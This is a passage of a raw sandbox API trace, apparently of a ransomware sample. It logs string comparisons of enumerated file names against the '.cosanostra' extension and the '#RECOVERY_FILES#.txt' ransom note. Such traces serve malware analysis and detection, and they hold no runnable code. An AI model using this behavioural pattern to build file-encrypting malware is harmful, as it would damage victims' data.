lpSrch=".cosanostra") returned 0x0 [0089.412] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.412] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.412] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.412] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.412] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.412] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.412] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.413] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.413] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.413] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.413] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.413] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.413] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.413] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.413] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.413] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.413] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.413] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0089.413] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.413] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0089.413] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0089.414] StrStrIW (lpFirst="index.dat", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1="index.dat", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1="index.dat", lpString2="_uninstalling_.png") returned 1 [0089.414] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.414] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.414] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0089.414] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.414] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.414] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0089.414] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.414] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0089.415] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.415] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.415] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.415] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.415] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.415] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.415] StrStrIW (lpFirst="desktop.ini", lpSrch=".cosanostra") returned 0x0 [0089.415] lstrcmpW (lpString1="desktop.ini", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.415] lstrcmpW (lpString1="desktop.ini", lpString2="_uninstalling_.png") returned 1 [0089.415] StrStrIW (lpFirst="TiPHppZ3.doc", lpSrch=".cosanostra") returned 0x0 [0089.415] lstrcmpW (lpString1="TiPHppZ3.doc", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.415] lstrcmpW (lpString1="TiPHppZ3.doc", lpString2="_uninstalling_.png") returned 1 [0089.415] StrStrIW (lpFirst="TiyL0nT01Rv8ckuFb8MA.xls", lpSrch=".cosanostra") returned 0x0 [0089.415] lstrcmpW (lpString1="TiyL0nT01Rv8ckuFb8MA.xls", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.415] lstrcmpW (lpString1="TiyL0nT01Rv8ckuFb8MA.xls", lpString2="_uninstalling_.png") returned 1 [0089.415] StrStrIW (lpFirst="UsNO9PfW-D-e.mp3", lpSrch=".cosanostra") returned 0x0 [0089.415] lstrcmpW (lpString1="UsNO9PfW-D-e.mp3", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.415] lstrcmpW (lpString1="UsNO9PfW-D-e.mp3", lpString2="_uninstalling_.png") returned 1 [0089.415] StrStrIW (lpFirst="VTsqQ10KfEs84e.wav", lpSrch=".cosanostra") returned 0x0 [0089.415] lstrcmpW (lpString1="VTsqQ10KfEs84e.wav", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.415] lstrcmpW (lpString1="VTsqQ10KfEs84e.wav", lpString2="_uninstalling_.png") returned 1 [0089.416] StrStrIW (lpFirst="vX3Tfu.jpg", lpSrch=".cosanostra") returned 0x0 [0089.416] lstrcmpW (lpString1="vX3Tfu.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.416] lstrcmpW (lpString1="vX3Tfu.jpg", lpString2="_uninstalling_.png") returned 1 [0089.416] StrStrIW (lpFirst="W 4QA 0tH10.m4a", lpSrch=".cosanostra") returned 0x0 [0089.416] lstrcmpW (lpString1="W 4QA 0tH10.m4a", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.416] lstrcmpW (lpString1="W 4QA 0tH10.m4a", lpString2="_uninstalling_.png") returned 1 [0089.416] StrStrIW (lpFirst="WHSDP.jpg", lpSrch=".cosanostra") returned 0x0 [0089.416] lstrcmpW (lpString1="WHSDP.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.416] lstrcmpW (lpString1="WHSDP.jpg", lpString2="_uninstalling_.png") returned 1 [0089.416] StrStrIW (lpFirst="XZY reEm80xGwXKIc.jpg", lpSrch=".cosanostra") returned 0x0 [0089.416] lstrcmpW (lpString1="XZY reEm80xGwXKIc.jpg", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.416] lstrcmpW (lpString1="XZY reEm80xGwXKIc.jpg", lpString2="_uninstalling_.png") returned 1 [0089.416] StrStrIW (lpFirst="Au_.exe", lpSrch=".cosanostra") returned 0x0 [0089.416] lstrcmpW (lpString1="Au_.exe", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.416] lstrcmpW (lpString1="Au_.exe", lpString2="_uninstalling_.png") returned 1 [0089.442] StrStrIW (lpFirst="rdrmessage.zip", lpSrch=".cosanostra") returned 0x0 [0089.442] lstrcmpW (lpString1="rdrmessage.zip", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.442] lstrcmpW (lpString1="rdrmessage.zip", lpString2="_uninstalling_.png") returned 1 [0089.442] StrStrIW (lpFirst="ReaderMessages", lpSrch=".cosanostra") returned 0x0 [0089.442] lstrcmpW (lpString1="ReaderMessages", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.442] lstrcmpW (lpString1="ReaderMessages", lpString2="_uninstalling_.png") returned 1 [0089.588] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.588] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.588] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.588] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.588] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.588] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.588] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.588] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.588] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.588] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.588] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.589] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.589] StrStrIW (lpFirst=".", lpSrch=".cosanostra") returned 0x0 [0089.589] lstrcmpW (lpString1=".", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.589] lstrcmpW (lpString1=".", lpString2="_uninstalling_.png") returned -1 [0089.589] StrStrIW (lpFirst="..", lpSrch=".cosanostra") returned 0x0 [0089.589] lstrcmpW (lpString1="..", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.589] lstrcmpW (lpString1="..", lpString2="_uninstalling_.png") returned -1 [0089.589] StrStrIW (lpFirst="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpSrch=".cosanostra") returned 0x0 [0089.589] lstrcmpW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.589] lstrcmpW (lpString1="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", lpString2="_uninstalling_.png") returned 1 [0089.589] StrStrIW (lpFirst="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpSrch=".cosanostra") returned 0x0 [0089.589] lstrcmpW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.589] lstrcmpW (lpString1="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", lpString2="_uninstalling_.png") returned 1 [0089.589] StrStrIW (lpFirst="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="1DAF2884EC4DFA96BA4A58D4DBC9C406", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="23B523C9E7746F715D33C6527C18EB9D", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="23B523C9E7746F715D33C6527C18EB9D", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="3130B1871A126520A8C47861EFE3ED4D", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="3130B1871A126520A8C47861EFE3ED4D", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", lpString2="_uninstalling_.png") returned 1 [0089.590] StrStrIW (lpFirst="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpSrch=".cosanostra") returned 0x0 [0089.590] lstrcmpW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.590] lstrcmpW (lpString1="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="696F3DE637E6DE85B458996D49D759AD", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="696F3DE637E6DE85B458996D49D759AD", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="7396C420A8E1BC1DA97F1AF0D10BAD21", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="7396C420A8E1BC1DA97F1AF0D10BAD21", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="7B2238AACCEDC3F1FFE8E7EB5F575EC9", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", lpString2="_uninstalling_.png") returned 1 [0089.591] StrStrIW (lpFirst="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpSrch=".cosanostra") returned 0x0 [0089.591] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.591] lstrcmpW (lpString1="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", lpString2="_uninstalling_.png") returned 1 [0089.592] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpSrch=".cosanostra") returned 0x0 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.592] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="94308059B57B3142E455B38A6EB92015", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="94308059B57B3142E455B38A6EB92015", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", lpString2="_uninstalling_.png") returned 1 [0089.593] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpSrch=".cosanostra") returned 0x0 [0089.593] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.593] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", lpString2="_uninstalling_.png") returned 1 [0089.594] StrStrIW (lpFirst="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpSrch=".cosanostra") returned 0x0 [0089.594] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2="#RECOVERY_FILES#.txt") returned 1 [0089.594] lstrcmpW (lpString1="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", lpString2="_uninstalling_.png") returned 1 [0089.594] 